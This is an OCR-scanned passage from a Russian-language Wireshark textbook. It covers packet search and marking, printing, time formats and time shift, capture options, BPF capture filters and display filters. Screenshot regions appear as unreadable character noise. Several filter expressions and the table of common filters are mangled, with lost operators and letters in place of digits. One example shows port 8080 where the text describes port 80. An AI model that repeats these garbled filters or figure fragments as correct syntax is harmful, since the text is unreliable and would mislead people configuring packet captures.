Символьная строка 

Примеры 

not ip 

ip.addr==192.168.0.1 

Arp 

OOff 

ff f f 

ООАВВlfО 

Workstationl 

UserB 

domain 

Выбрав вид поиска пакетов, введите критерий поиска в текстовом поле и 

щелкните на кнопке Find, чтобы найти первый пакет, отвечающий заданному 
критерию. Чтобы найти следующий пакет, щелкните на кнопке Find еще раз 
или нажмите комбинацию клавиш <Ctrl+N>, а для поиска предьщущего паке
та, совпавшего с заданным критерием, - комбинацию клавиш <Ctrl+B>. 

Отметка пакетов 

Итак, найдя пакеты, отвечающие заданному критерию, можете отметить 

те из них, которые интересуют вас в первую очередь. Отметка пакетов, в част

ности, позволяет сохранить только эти пакеты. Кроме того, отмеченные па

кеты можно быстро отыскать по их белому тексту на черном фоне, как показа

но на рис. 4.5. 

Рис. 4.5. Отмеченный пакет выделяется на экране. В данном примере второй пакет ока
зывается отмеченным и выглядит более темным на экране 

Чтобы отметить пакет, щелкните на нем правой кнопкой мыши в панели 

Packet List и выберите команду Mark Packet (Отметить пакет) из контекстного 



меню или нажмите комбинацию клавиш <Ctrl+M>, находясь в панели Packet 
List. Отметить можно столько перехваченных пакетов, сколько потребуется. 
А для перехода между отмеченными пакетами вперед или назад нажмите ком

бинацию клавиш <Sl1ift+Ctrl+N> или <Shift+Ctrl+B> соответственно. 

Вывод пакетов на печать 

Несмотря на то что бмьшая часть анализа проводится на экране компью

терного монитора, перехваченные данные иногда требуется распечатать. Вре

мя от времени я распечатываю перехваченные пакеты и приклеиваю липкой 

лентой полученные распечатки к своему рабочему столу, чтобы быстро обра

щаться за справкой к их содержимому по ходу анализа. Пакеты удобно таюке 

распечатать в формате PDF, особенно при подготовке отчетов. 
Чтобы распечатать перехваченные пакеты , откройте диалоговое окно Print, 

выбрав команду FileQPrint (ФайлQПечать) из главного меню (рис. 4.6) . 
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Рис. 4.6. В диалоrовом окне Print можно распечатать 
указанные пакеты 

Как и в диалоговом окне Export Specified Packets, в данном окне можно указать 
печать пакетов только в определенн.ых пределах или же тех пакетов, которые 

отображаются после применения фильтра. Кроме того, можно указать требу

емую степень детализации для печати каждого пакета. После того как выбере

те все параметры настройки печати, щелкните на кнопке Print. 



Задание форматов отображения времени 

и привязок к нему 

Время очень существенно, особенно для анализа пакетов. Все, что проис

ходит в сети, зависит от времени, и поэтому в файлах перехвата приходится 

часто изучать тенденции и сетевые задержки. В приложении Wireshark пре
доставляется несколько настраиваемых параметров, имеющих отношение ко 

времени. В этом разделе будут рассмотрены форматы отображения времени и 

привязки к нему. 

Форматы отображения времени 
Каждый пакет, перехватываемый в Wireshark, снабжается отметкой вре

мени, присваиваемой ему на уровне операционной системы. Приложение 

Wireshark способно отображать абсолютную отметку времени, обозначающую 
конкретный момент, когда пакет был перехвачен, время относительно по

следнего перехваченного пакета, а также начало и конец перехвата. 

Параметры, имеющие отношение к отображению времени, находятся под 

заголовком View в главном меню. Пункт Time Display Format (Формат отображе

ния времени) под этим заголовком главного меню позволяет настроить фор

мат представления времени, а также точность его отображения, как показано 

на рис. 4.7. 
Параметры настройки формата для представления времени позволяют вы

брать разные варианты отображения времени. К их числу относится отобра

жение даты и времени суток в стандартном формате или же в формате всеоб

щего скоординированного времени (UTC), количества секунд, прошедших с 
момента последнего перехвата, и прочее. 

А параметры настройки точности позволяют задать точность отображе

ния времени автоматически, т.е. в формате, взятом из файла перехвата, или 

вручную, например, в секундах, миллисекундах, микросекундах и т.д. Эти па

раметры будуг настраиваться в примерах, приведенных далее в книге, поэто

му вы должны ознакомиться с ними уже теперь. 

l1!QШ!рЩШ!I Сравнивая данные из пакетов, поступающих из разных устройств, 

убедитесъ, что эти устройства синхронизированы с одним и тем же 

источником времени, особенно если вы выполняете ретроспективный 

анализ или диагностику сети. Для синхронизации устройств в сети 

можно восполъзоватъся протоколом NТР (Network Тiте Protocol - пprr 

токол сетевого времени). Анализ пакетов, поступающих из устройств в 

разных часовых поясах, следует проводитъ в формате UТС, а не местнrг 

го времени, чтобы избежатъ недоразумений при сообщении полученных 

резулътатов анализа. 

95 



• http~ogl~pc..-p 

~ Edit V"t«W Go c.pture ANl)'l'lt SUttstio 

.С • _, м.in1oollm 

~ ...,1" М..иlооtЬм 
J~ kt: Wir!feя ToolЬ.w 
No V Stltus6ar 

~ J PкЬtliR 
3 ~ PкkdDtn.ils 

P4cket8ym 

18 

TW1'c~.fotth.tt 

NtmtRRSOtutюn 

Zoom 

Ц &p.ttid SOOl.r~ 

~ &plndNI 
> Fratм! ~ 
> Hherм Со~АВ 

~ ~~~~~ (DloщePlr;ktttist 
CotoringRu~, 

CoIOriz'f:C~ 

!! Rtяи С olunvn 

lmиnals 

91owP•cЬ:tinNevW~ 

~ Rdoad 

CЫ..Shilt: ... R 

Ctrt+R 

о х 

QЭ &irнsion + ТО' RSТ 

='-~~~L~~~~~~~~~~~~~~~~~~---'"-"' Fm c;.,,.i 

66 1686 ... S8 (SYN] ~2е82691767 Win•8192 L~ t'tSS-146& 16-4 SАСК-
66 88 " 1686 [SYN, АСК] seq-1775577373 Ack•2.e82691168 Win-5128 len-
5'4 1686 ... 88 (АСК] Seq•2882691768 Ack•277SSm74 Win•16S72 len-8 

681 GfТ / НТТР /1.1 

бе 88 + 1686 {ACKl St-Q-2.i'7SS11'37.t Ack•Z882692!95 Win-6976 L№4 

CЬte-"'T...мofO.y{197tН)1-0101~.121'SQ Мda"дlt•1 d РОО} 

Vur, ~o4Vut", andTimc:of0.y(197'JI00101:0l:OJ..1l34S6) :s ~~•177SSМ186 Win•16872 trn-e 
Tlt1'f:ofD.ty(01:Ci.iВ.1Z345Q МШ•Аh•2 d РОО] 

S«:and$~t 1~70-\n-Ot Mm•Ak•3 d PDU) 

• Sкond55We8eginningafc.ptuц 

SкOl'lds. Sinct PreoJIOus. Captwltd Patt:et 

Soecond1 Sinct Prevюus O.spllyed Padttt 

uтс nau~rlt'nf: of о.,. (1910-01--01 01:02::оз.12З4Sб) 

UТС~ Dayof Vc•r. "nd Ttrm ofD.y(197WOOI 01:02:Q.3.1234S6} 

Mtta"AJt•4 

r..tm•AJt"5 

M&"дlt•6 

MN"Alt~7 

UТС TUne of O"J (C1:02:03.12:WS6) Мet4•дlt•8 

Tмthsof11шond 

Hvndtdhs Df • se:c::ond 

Мillts«onds 

Мittosк.onck-

""'°""""' 

9S Acluo2775581694 Win-16872 lм-В 

~=================-~~ efI08 и 21 6• 5Ь 7d 411 ее е5 Sd 21 ~ Dispt.ySec-ondslfГ.t)i.НovrsмidMinvtes 
~· i8 Z8 34 d8 88 ее 33 Q6 ~с 8Z А& 7d Sf 61 -~ ~... ., ··· ~ · -~~, _". г 

1е 80 ее se к 46 •5 бf f3 1~ 7с 13 5d 1ь se ie •.. P. f.o .• /.tJ+-P. 
J M6dd97~808982В4 857ее191 

------------------- ---- -

Рнс. 4.7. По команде Viewc::> Тiте Display Format ю главного меню можно выбрать однн 

ю несколькнх форматов отображення временн 

Временная привязка к пакетам 

Временная привязка к пакетам позволяет настроить определенный пакет 

таким образом, чтобы последующие расчеты времени производились отно

сительно данноrо пакета. Такая возможность особенно удобна при исследо

вании ряда последовательных событий, наступающих в какой-нибудь друrой 

момент, а не в момент начала формирования файла перехвата. 

Чтобы установить временную привязку к пакету, щелкните правой кнопкой 

мыши на избранном в качестве опорноrо пакете в панели Packet List и выбери

те команду Set/Unset Time Reference (Установить/Сбросить временную привяз

ку) из контекстноrо меню. А для тоrо чтобы сбросить временную привязку, 

повторите эту же операцию еще раз. Кроме тоrо, устанавливать и сбрасывать 

временную привязку к пакету можно, выбрав опорный пакет в подокне Packet 

List и нажав комбинацию клавиш <Ctrl+T>. 
Если временная привязка к пакету активизирована, в столбце Time (Вре

мя), отображаемом в панели Packet List, появится метка *REF* (рис. 4.8) . 
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Рис. 4.8. Пакет №4 с активизированной временной привязкой к нему 

Устанавливать временную привязку к пакету удобно лишь в том случае, если 

формат отображения времени перехвата настроен на показ времени относи

тельно начала перехвата. А в любом другом случае установка временной при

вязки к пакету ничего полезного не даст и на самом деле приведет к отображе

нию моментов времени, в которых будет очень трудно разобраться. 

Временной сдвиг 

Иногда встречаются пакеты из разных источников, которые не синхрони

зированы с одним и тем же источником. Это особенно характерно для иссле

дования файлов перехвата, взятых из двух мест, содержащих один и тот же 

поток данных. Большинство сетевых администраторов стремятся к тому, что

бы каждое устройство в их сети было синхронизировано. Но нередко между 

определенными типами устройств возникает временной сдвиг. В приложении 

Wireshark предоставляется возможность сдвигать отметку времени в пакетах, 
чтобы устранить данное затруднение в ходе анализа. 

Чтобы сдвинугь отметку времени в одном или нескольких пакетах, выбе

рите команду Editc:>Time Shift (Правкас:>Временной сдвиг) из главного меню 

или нажмите комбинацию клавиш <Ctrl+Shift+T>. В открывшемся диалоговом 
окне Time Shift можно указать пределы для временного сдвига во всем файле пе

рехвата в целом или же установить время для отдельных пакетов. В примере, 

приведенном на рис. 4.9, выбран сдвиг отметки времени в каждом пакете из 
файла перехвата на две минугы и пять секунд . 

• Wir<>h•rk · Тime Shift Х 
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Рис. 4. 9. Диалоговое окно Тiте Shift 



Настройка параметров перехвата 
В предыдущей главе процесс элементарного перехвата пакетов рассматри

вался с применением параметров настройки, устанавливаемых в диалоговом 

окне Capture lnterfaces (Интерфейсы для перехвата). Но в Wireshark предостав
ляется немало других возможностей для настройки параметров перехвата, ко

торые мы еще не рассматривали. Для доступа к этим параметрам выберите 

команду CaptureqOptions из главного меню. 

В диалоговом окне Capture lnterfaces имеется немало настраиваемых параме

тров, позволяющих сделать процесс перехвата пакетов более удобным. Оно 

разделено на три вкладки: lnput (Ввод), Output (Вывод) и Options (Параметры). 

Рассмотрим их по очереди. 

Вкладка lnput 
Основное назначение вкладки lnput (рис. 4.10) - отображать все сетевые 

интерфейсы, доступные для перехвата пакетов, а также некоторые основные 

сведения о каждом из этих интерфейсов. К этим сведениям относится удобное 

имя сетевого интерфейса, предоставляемое на уровне операционной систе

мы, график сетевого трафика, наглядно показывающий пропускную способ

ность данного интерфейса, а также дополнительные параметры настройки 

конфигурации, в том числе состояние смешанного режима работы сетевого 

интерфейса и размер буфера. На правом краю рассматриваемой здесь вклад

ки, не показанном на рис. 4.10, находится также столбец для отображения 
фильтра, применяемого при перехвате. Подробнее об этом речь пойдет в раз

деле"Фильтры перехвата" . 
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Рис. 4. 1 О. Вкладка Jnput диалогового окна Capture lnterfaces 



На вкладке lnput можно щелкнуть на большинстве параметров , чтобы сразу 

же отредактировать их. Так, если требуется отменить смешанный режим ра

боты сетевого интерфейса, достаточно щелкнуть на его поле и сменить актив

ное состояние этого режима на неактивное, выбрав соответствующий пункт 

из раскрывающегося меню. 

Вкладка Output 
На вкладке Output (рис . 4.11) можно организовать автоматическое сохране

ние перехваченных пакетов в файле вместо того, чтобы сначала перехваты

вать их, а затем сохранять в файле. Ведь манипулировать сохраненными паке

тами намного легче. В частности, перехваченные пакеты можно сохранить в 

одном файле, в нескольких файлах и даже в кольцевом буфере, как поясняет

ся далее, чтобы манипулировать целым рядом созданных файлов. Чтобы ак

тивизировать такой режим сохранения перехваченных пакетов, введите пол

ный путь и имя файла в текстовом поле File. А для того чтобы выбрать каталог 

и предоставить имя файла, щелкните на кнопке Browse .. . (Просмотр) . 

• W•oshork · C•pture lnterfocos 
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Рис. 4 . J J. Вкладка Output диалогового окна Capture lnterfaces 

Если приходится перехватывать большой объем сетевого трафика или вы

полнять перехват в долгосрочной перспективе, то особенно удобными для 

этой цели окажутся наборы файлов - совокупности нескольких файлов, выде

ляемые в отдельные группы по особому условию. Чтобы задать набор файлов, 

установите флажок Create а new file automatically after ... (Создать автоматически 

новый файл после ... ). 
Для сохранения перехваченных пакетов в наборах файлов по заданно

му размеру или промежутку времени в Wireshark применяются специальные 



триггеры. Чтобы активизировать один из таких триггеров, выберите кноп

ку-переключатель, расположенную ниже упомянутого выше флажка, а затем 

укажите требуемое пороговое :шачение и единицу его измерения для срабаты

вания триггера. Например, можно установить триггер для запуска процесса 

создания нового файла после каждого перехвата сетевого трафика объемом 

1 Мбайт, как показано на рис. 4.12, или через каждую минуту при перехвате 
сетевого трафика. 

Name Date mod1fl~d Туре Siz~ 

D int•rv•lcopturo_00001 _20151009141804 1019/2017 2:19 РМ F<lo шкв 

О interv•lc•pture_00002_20151009141904 1019(2017 2:20 РМ f1lo 25КВ 

О int•rv•lcapturo_00003_20151009142004 1019'2017 2:21 РМ Ftle З,6211(8 

О int•rv•lcapturo_(J0004_20151009142104 10/9.'2017 2.:22 РМ F•le SZКБ 

D interv•lcapture_00005_20151009142204 1019/2017 2.:23 РМ File 4~кв 

О int•rv•lc•pturt_00006_2015100914l304 10/912017 2:24 РМ Fi!~ 371(8 

Рис. 4. 12. Набор файлов, создаваемый в Wireshork через 
каждую минуту при перехвате сетевого трофика 

Флажок Use а ring buffer with". (Исполь:ювать кольцевой буфер с ... ) позволяет 
указать определенное количество файлов, которые должны быть накоплены в 

наборе средствами Wiresl1ark, прежде чем перезаписывать их. И хотя термин 
колъцевой буфер имеет разный смысл, в данном случае он, по существу, обозна

чает набор файлов, где первый файл может быть перезаписан, как только в 

набор будет введен последний записанный файл, чтобы сохранить вновь по

ступившие данные. Иными словами, этот флажок устанавливает режим запи

си файлов по принципу "первым пришел, первым обслужен" (FIFO). Устано
вив этот флажок, можно указать максимальное количество файлов для хране

ния в кольцевом буфере с циклическим сдвигом . Допустим, что для хранения 

перехваченного сетевого трафика выбран набор из шести файлов, причем 

новый файл создается через каждый час. Таким образом, формируется коль

цевой буфер размером б файлов. Как только будет создан шестой файл, в коль

цевом буфере произойдет циклический сдвиr с перезаписью первого файла 

вместо создания седьмого файла для хранения очередного массива перехва

ченных данных. Этим гарантируется, что на жестком диске будет храниться 

не больше шести файлов данных в течение б часов с возможностью записи 

новых данных. 

И, наконец, на вкладке Output можно также указать конкретный формат 

файла данных. Так, можно выбрать традиционный формат . рсар, если пред

полагается взаимодействие с сохраненными пакетами в инструментальном 

средстве, не способном обрабатывать файлы с расширением .pcapng. 



Вкладка Options 
На вкладке Options содержится целый ряд других вариантов выбора режи

ма сохранения перехваченных пакетов, включая параметры настройки ото

бражения, преобразования имен и прерывания перехвата, как показано на 

рис. 4.13. 
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Рис. 4. 13. Вкладка Options диалоrовоrо окна Capture lnterfaces 

Параметры настройки отображения 

В разделе Display Options (Параметры отображения) находятся элементы, 
управляющие порядком отображения пакетов в процессе их перехвата. На

значение флажка Update list of packets in real-time (Обновление списка в реальном 
времени) не требует особых пояснений. Его можно устанавливать вместе с 

флажком Automatically scroll during live capture (Автоматическая прокрутка в ходе 
перехвата). Когда оба эти флажка установлены, на экране отображаются все 

перехваченные пакеты, причем самые последние из них отображаются не

медленно. 

ПРЕ~УПРЕЖЛЕН~1Е Если установлены оба флажка, Update list of packets in real-time и 
Automatically scroll during live capture, то для поддержания соответ
ствующего режима отображения потребуется иемало ресурсов ЦП -
даже если перехватывается скромиый обим даииых. Поэтому оба 

эти флажка лучШR сброситъ, если толъко иет особой иеобходимости 

проrматриватъ nеjJехваченные пакеты в реальном времени. 
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Флажок Show extra capture information dialog (Показывать диалоговое окно с 

дополнительными сведениями) позволяет активизировать или подавить ото

бражение небольшого окна, в котором представлено в процентах количество 

перехваченных пакетов, отсортированных по их сетевому протоколу. Я лич

но предпочитаю отображать это информационное окно, поскольку обычно 

запрещаю активную прокрутку окна отображения пакетов во время их пере

хвата. 

Параметры настройки преобразования имен 

В разделе Name Resolution (Преобразование имен) можно установить режим 

автоматического преобразования МАС-адресов (второго уровня), а также се

тевых и транспортных имен (третьего и четвертого уровня соответственно). 

Более подробно общие вопросы преобразования имен будуг рассмотрены в 

главе 5, "Дополнительные возможности Wireshark". 

Параметры настройки прекращения перехвата 

В разделе Stop capture automatically after ... (Автоматически прекратить перехват 

после ... ) можно задать определенные условия, при которых перехват будет 
прекращен. Как и при создании набора файлов, прекратить перехват можно 

по заданному размеру файла или промежутку времени. Но это можно сделать 

и по указанному количеству пакетов. Параметры настройки в данном разделе 

удобно сочетать с параметрами настройки, доступными на вкладке Output. 

Применение фильтров 
С помощью фильтров можно указать пакеты, которые требуются для ана

лиза. Проще говоря, фильтр - это выражение, в котором задаются критерии 

для включения или исключения пакетов из анализа. Так, если имеются паке

ты, которые не требуется просматривать, можно создать фильтр, чтобы изба

виться от них. А если требуется просматривать только вполне определенные 

пакеты, можно создать фильтр, чтобы отображать только их. 

В приложении Wireshark предоставляются следующие типы фильтров. 

• Фильтры перехвата. Применяются в том случае, если требуется пе

рехватывать только те пакеты, которые указаны для включения или ис

ключения в заданном выражении. 

• Фильтры отображении. Применяются к существующему ряду пакетов 

с целью скрыть ненужные пакеты или показать нужные, исходя из задан

ного выражения. 

Рассмотрим сначала фильтры перехвата. 



Фильтры перехвата 

Фильтры данного типа применяются в процессе перехвата пакетов с целью 

изначально ограничить количество пакетов, предоставляемых для анализа. 

Одной из главных причин для применения фильтров перехвата служит про

изводительность. Если заранее известно, что анализировать определенную 

форму сетевого трафика не нужно, ее достаточно отсеять с помощью фильтра 

перехвата, сэкономив процессорное время, которое обычно затрачивается 

для перехвата соответствующих пакетов. 

Возможность создавать специальные фильтры перехвата окажется удоб

ной в том случае, если приходится иметь дело с большими массивами данных. 

Их анализ можно ускорить, если отсеять только те пакеты, которые потребу

ются для решения текущей задачи анализа. 

Допустим, решается задача диагностики службы, работающей через 

порт 262, но на анализируемом сервере действует целый ряд служб через раз
ные порты. Перехватить и проанализировать сетевой трафик только через 

один порт - дело совсем не простое. И здесь может пригодиться фильтр пере

хвата. Для этого достаточно воспользоваться диалоговым окном Capture lnter

faces следующим образом. 

1. Выберите команду CaptureqQptions из главного меню, чтобы открыть диа

логовое окно Capture lnterfaces. 

2. Выберите сетевой интерфейс, где требуется перехватывать пакеты, а 
затем перейдите к крайнему справа столбцу Capture Filter (Фильтр пере

хвата). 

3. Чтобы применить фильтр перехвата, щелкните на этом столбце и вве
дите фильтрующее выражение. В данном случае требуется отфильтро

вать только сетевой трафик, входящий и исходящий через порт 262, и 
поэтому введите port 262, как показано на рис. 4.14. (Более подробно 
фильтрующие выражения рассматриваются в следующем разделе.) Цвет 

ячейки в данном столбце должен измениться на зеленый, указывая на 

то, что введено достоверное выражение. Если же оно недостоверно, 

ячейка будет выделена красным цветом. 

4. Задав фильтр, щелкните на кнопке Start, чтобы приступить к перехвату. 

В итоге вы должны видеть только тот сетевой трафик, который проходит 

через порт 262. Следовательно, это даст вам возможность более эффективно 
анализировать данные этого конкретного трафика. 
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Рис. 4. 14. Создание фильтра перехвата в диалоговом окне Capture lnterfaces 

Синтаксис BPF для фильтров перехвата 
Фильтры перехвата , применяемые в драйверах libpcap/WinPcap, описыва

ются с помощью синтаксиса BPF (Berkeley Packet Filter - фильтр пакетов Берк

ли). Этот синтаксис характерен для целого ряда приложений анализа пакетов, 

главным образом потому, что они опираются на библиотеки libpcap/WiпPcap, 

в которых для описания фильтров используется синтаксис BPF. Для углублен
ного анализа сетей на уровне пакетов знание синтаксиса BPF имеет решающее 
значение. 

Фильтр, созданный с помощью синтаксиса BPF, называется выражением, при
чем каждое выражение состоит из одного или нескольких примитивов. В свою 

очередь, примитивы состоят из одного или нескольких квалификатаров, пере

численных в табл. 4.2, а также имени или номера идентификатора, как показа
но на рис. 4.15. 

Табnица 4.2. Кваnификатор~.1 BPF 

Кваnификатор Описание Примеры 

type 

dir 

proto 

Обозначает имя или номер идентификатора, host, net, port 
но который делается ссылка 

Обозначает направление передачи при об- src, dst 
мене донными с сетевым узлом, доступным 

по имени или номеру идентификатора 

Ограничивает соответствие конкретному ether, ip, tcp, udp, http, ftp 
протоколу 
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Рис. 4. 15. Пример структуры фильтра перехвата 

Принимая во внимание составляющие выражения, квалификатор dst host 

и идентификатор 192 .168. О .10 совместно образуют примитив. Такой при

митив сам является выражением, определяющим перехват сетевого трафика 

только по IР-адресу получателя 192 .168. О .10. 

Для объединения примитивов при создании более сложных выражений 

можно использовать логические операции. И для этой цели имеются следую

щие логические операции. 

• Логическая операция конкатенации по И(&&). 

• Логическая операция дизъюнкции по ИЛИ ( 11 ). 

• Логическая операция отрицания по НЕ ( ! ). 

Например, следующее выражение служит для перехвата только сете

вого трафика, исходящего из источника, расположенного по IР-адресу 

192 .168. О .10 и проходящего через порт отправителя или получателя 80: 

src host 192.168.0.10 && port 80 

Фильтры имен хостов и адресации 

Большинство фильтров создается для анализа конкретного сетевого 

устройства или группы подобных устройств. В зависимости от обстоятельств 

фильтрация может основываться на МАС-адресе устройства, адресах 1Pv4 или 
IPvб, а также на имени хоста в службе DNS. 

Допустим, что требуется проанализировать сетевой трафик конкретного 

хоста, взаимодействующего с сервером в сети. Чтобы перехватывать весь се

тевой трафик, связанный с адресом данного хоста по протоколу 1Pv4, на сер
вере можно создать следующий фильтр, используя квалификатор host: 

host 172.16.16.149 

105 



Если же анализируется сеть, действующая по протоколу IPvб, то фильтр 

следует создать на основе адреса IPvб, используя квалификатор host: 

host 2001:dЬ8:85а3::8а2е:З70:7334 

Создать фильтр можно и на основе имени хоста сетевого устройства, ис

пользуя квалификатор host следующим образом: 

host testserver2 

А если требуется принять во внимание возможное изменение IР-адреса хо

ста, то фильтр можно создать на основе его МАС-адреса, добавив квалифика

тор протокола ether, как показано ниже. 

ether host 00-la-a0-52-e2-a0 

Квалификаторы направления передачи данных нередко применяются вме

сте с фильтрами (например, из приведенных выше примеров) для перехвата 

сетевого трафика в зависимости от того, является ли этот трафик входящим 

или исходящим из хоста. Например, чтобы перехватить только сетевой тра

фик, исходящий из конкретного хоста, необходимо дополнить фильтр квали

фикатором src следующим образом: 

src host 172.16.16.149 

А для того чтобы перехватить только те данные, которые предназначены 

для хоста по адресу 172 .16 .16 .149, следует дополнить приведенный выше 
фильтр квалификатором dst: 

dst host 172.16.16.149 

Если в фильтре не употребляется квалификатор типа (host, net или port) 
с примитивом, то подразумевается квалификатор host. Поэтому приведенное 
ниже выражение, где отсугствует такой квалификатор, равнозначно выраже

нию из предыдущего примера. 

dst 172.16.16.149 

Фиnьтрь1 портов 

Помимо фильтрации хостов, создаваемый фильтр можно основывать на 

портах, применяемых в каждом пакете. Фильтрацию портов можно выпол

нять для отсеивания служб и приложений, в которых применяются порты из

вестных служб. Так, в следующем примере демонстрируется простой фильтр, 



предназначенный для перехвата сетевого трафика, входящего ЮIИ исходяще

го только из порта 8080: 

port 8080 

Для перехвата всего сетевого трафика, кроме проходящего через порт 

8080, подойдет следующий фильтр: 

!port 8080 

ФЮiьтры портов можно объединять с фильтрами направления передачи 

данных. Например, чтобы перехватить только сетевой трафик, направляе

мый веб-серверу для приема через стандартный порт 80 сетевого протокола 

НТТР, в фильтре можно употребить квалификатор dst следующим образом: 

dst port 8080 

Фильтрь1 протоколов 

ФЮiьтры данного типа позволяют отсеивать пакеты по определенным се

тевым протоколам. Они служат для сопоставления с сетевыми протоколами, 

которые не относятся к уровню приложений и не могут быть выявлены толь

ко по определенном порту. Так, если требуется просмотреть сетевой трафик 

только по протоколу ICMP, можно воспользоваться следующим фильтром: 

icmp 

А для просмотра всего сетевого трафика, кроме протокола IPvб, подойдет 

такой фЮiьтр: 

!iрб 

Фильтры полей сетевых протоколов 

К числу самых сильных сторон синтаксиса BPF относится возможность 

исследовать каждый байт в заголовке протокола, чтобы создавать специаль

ные фильтры на основании полученных сведений о конкретном протоколе. 

Специальные фильтры, рассматриваемые в этом подразделе, позволяют из

влекать из пакета определенное количество байтов, начиная с конкретного 

места. 

Допустим, требуется отсеять сетевой трафик по полю типа в заголовке 

ICMP. Поле типа находится в самом начале пакета, т.е. имеет нулевое смеще

ние. Чтобы обозначить местоположение исследуемого поля в пакете, доста

точно указать в квадратных скобках смещение в байтах после квалификатора 



протокола (в данном примере - icmp [О]). В итоге будет возвращено однобай

товое значение, которое можно с чем-нибудь сравнить. Например, чтобы по

лучить только пакеты, передаваемые по сетевому протоколу ICMP и представ

ляющие сообщения типа 3 о недосягаемости получателя, в фильтрующем вы

ражении следует употребить операцию равенства, как показано ниже. 

icmp[O] == 3 

А для того чтобы исследовать только пакеты, передаваемые по сетевому 

протоколу ICMP и представляющие эхо-запрос (типа 8) или эхо-ответ (типа 

О), в фильтрующем выражении можно употребить два примитива и логиче

скую операцию ИЛИ следующим образом: 

icmp[O] == 8 OR icmp[O] == О 

Несмотря на то что специальные фильтры вполне справляются со своей 

задачей, они основываются только на однобайтовой информации из заголов

ка пакета. Но в фильтрующем выражении можно также указать длину возвра

щаемых данных в байтах после числовой величины смещения в квадратных 

скобках, отделив ее двоеточием. 

Допустим, требуется создать фильтр для перехвата всех пакетов, переда

ваемых по сетевому протоколу ICMP для недосягаемого получателя, хоста и 

определяемых по типу 3 и коду 1. Однобайтовые поля с этими данными рас

положены один за другим в заголовке пакета, начиная с нулевого смещения. 

С этой целью можно создать фильтр, где проверяются два начальных байта с 

нулевым смещением в заголовке пакета, которые сравниваются с шестнадца

теричным значением 0301 (т.е. тип 3 и код 1) следующим образом: 

icmp[0:2] == ОхОЗОl 

Зачастую требуется перехватывать только пакеты, передаваемые по сете

вому протоколу ТСР с установленным флагом RST. Более подробно о протоко

ле ТСР речь пойдет в главе 8, "Протоколы транспортного уровня", а пока что 

достаточно сказать, что флаги располагаются в поле пакета ТСР со смещени

ем 13. Это поле интересно тем, что его длина равна одному байту, где каждый 

бит обозначает отдельный флаг. Как поясняется в приложении Б, "Интер

претация пакетов", каждый бит с установленным в нем флагом представлен в 

таком байте числом по основанию 2. Так, первый бит представлен числом 1, 

второй бит - числом 2, третий - числом 4 и т.д. В пакете ТСР можно одно

временно установИть несколько флагов. Следовательно, для эффективной их 

фильтрации одного значения tcp [ 13] недостаточно, поскольку установленно

му биту RST могут соответствовать несколько значений. 



Вместо этого необходимо указать местоположение проверяемого флага в 

байте, дополнив фильтрующее выражение знаком амперсанда (&) и числом, 

представляющим бит, в котором хранится этот флаг. В частности, флаг RST 

хранится в бите, представленном в данном байте числом 4, которое обозна

чает, что флаг RST установлен. Таким образом, фильтр для рассматриваемых 

здесь целей будет выглядеть следующим образом: 

tcp[lЗ] & 4 == 4 

А для того чтобы просмотреть все пакеты с установленным флагом PSH, 

который хранится в бите, представленном числом 8 в поле пакета ТСР со сме

щением 13, достаточно воспользоваться следующим фильтром: 

tcp[lЗ] & 8 == 8 

Примерь~ выражений для фильтров перехвата 

Зачастую удачный или неудачный исход анализа пакетов зависит от умения 

создавать фильтры, пригодные для конкретной ситуации. В табл. 4.3 перечис

лены некоторые примеры выражений для фильтров перехвата, которые ча

сто применяются при анализе пакетов. 

Таблица 4.Э. Наиболее употребительные фильтры перехвата 

Фильтр Описание 

tcp[13] & 32 32 Пакеты ТСР с установленным флагом URG 

tcp [13] & 16 16 Пакеты ТСР с установленным флагом АСК 

tcp[13] & 8 

tcp[13] & 4 

tcp[13] & 2 

tcp[13] & 1 

tcp[13] 

ether host 

8 Пакеты ТСР с установленным флагом PSH 

-4 
2 

1 

18 

00:00:00:00:00:00 

Пакеты ТСР с установленным флагом RST 

Пакеты ТСР с установленным флагом SYN 

Пакеты ТСР с установленным флагом FIN 

Пакеты ТСР с установленными флагами SYN и АСК 

Входящий и исходящий сетевой трафик по указанному 

МА С-адресу 

!ether host 00:00:00:00:00:00 Входящий и исходящий сетевой трафик, кроме указан

ного МАС-адреса 

broadcast 

icmp 

icmp[0:2] 

ip 

ip6 

udp 

Ох0301 

Только широковещательный трафик 

Трафик только по сетевому протоколу ICMP 

Трафик по сетевому протоколу ICMP для недосягаемого 

получателя и хоста 

Трафик только по сетевому протоколу 1Pv4 

Трафик только по сетевому протоколу lpv6 

Трафик только по сетевому протоколу UDP 



Фильтры отображения 

К этому типу относятся фильтры, применение которых к файлу перехвата 

означает, что в Wireshark должны быть отображены только те пакеты, кото
рые соответствуют данному фильтру. Фильтр отображения можно создать в 

текстовом поле Filter, расположенном над панелью Packet List. 

Фильтры отображения применяются чаще, чем фильтры перехвата, по

скольку они позволяют отсеивать ненужные данные не удаляя при этом их 

физически из файла перехвата. Так, если потребуется отменить первоначаль

ное условие перехвата, для этого достаточно просто очистить фильтрующее 

выражение . Кроме того, фильтры отображения оказываются намного более 

эффективными благодаря поддержке со стороны обширной библиотеки де

шифратора пакетов, доступной в Wireshark. 
Например, в некоторых случаях фильтр отображения может применяться 

для отсеивания неуместного широковещательного трафика из файла перехва

та. При этом на панели Packet List отсеиваются те широковещательные пакеты 

ARP, которые не имеют никакого отношения к текущей анализируемой про
блеме в сети. Но поскольку эти широковещательные пакеты ARP могут ока
заться полезными в дальнейшем, то лучше отсеять их временно , а не удалять 

полностью. 

Чтобы отсеять все пакеты ARP в окне перехвата, установите курсор в 

текстовом поле Filter, расположенном над панелью Packet List, и введите !arp. 
В итоге все пакеты ARP будут удалены из списка (рис. 4.16) . Чтобы удалить 
введенный фильтр отображения, щелкните на кнопке Х, а для того чтобы со

хранить этот фильтр для последующего применения, щелкните на кнопке со 

знаком "плюс"(+) . 
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Рис. 4 . 16. Создание фильтра отображения в текстовом поле Filter, рас

положенном над подокном Packet List 

Фильтры отображения можно применять двумя способами. Один из них 

состоит в непосредственном употреблении подходящего синтаксиса, как де

монстрировалось в предыдущем примере, а другой - в применении диалого

вого окна Display Filter Expression (Выражение для фильтра отображения) для 

создания фильтра в диалоговом режиме. Это более простой способ для тех, 

кто только начинает пользоваться фильтрами. Рассмотрим оба способа при

менения фильтров отображения, начав с более простого. 



Диаnоrовое окно Display Filter Expression 

Возможности диалогового окна Display Filter Expression, приведенного на 

рис. 4.17, существенно упрощают начинающим пользователям Wireshark зада

чу по созданию фильтров перехвата и отображения. Для доступа к этому окну 

выберите команду FilterqExpression из главного меню . 

• Wireshark · Display Fitter Expresston 

Relatюn 

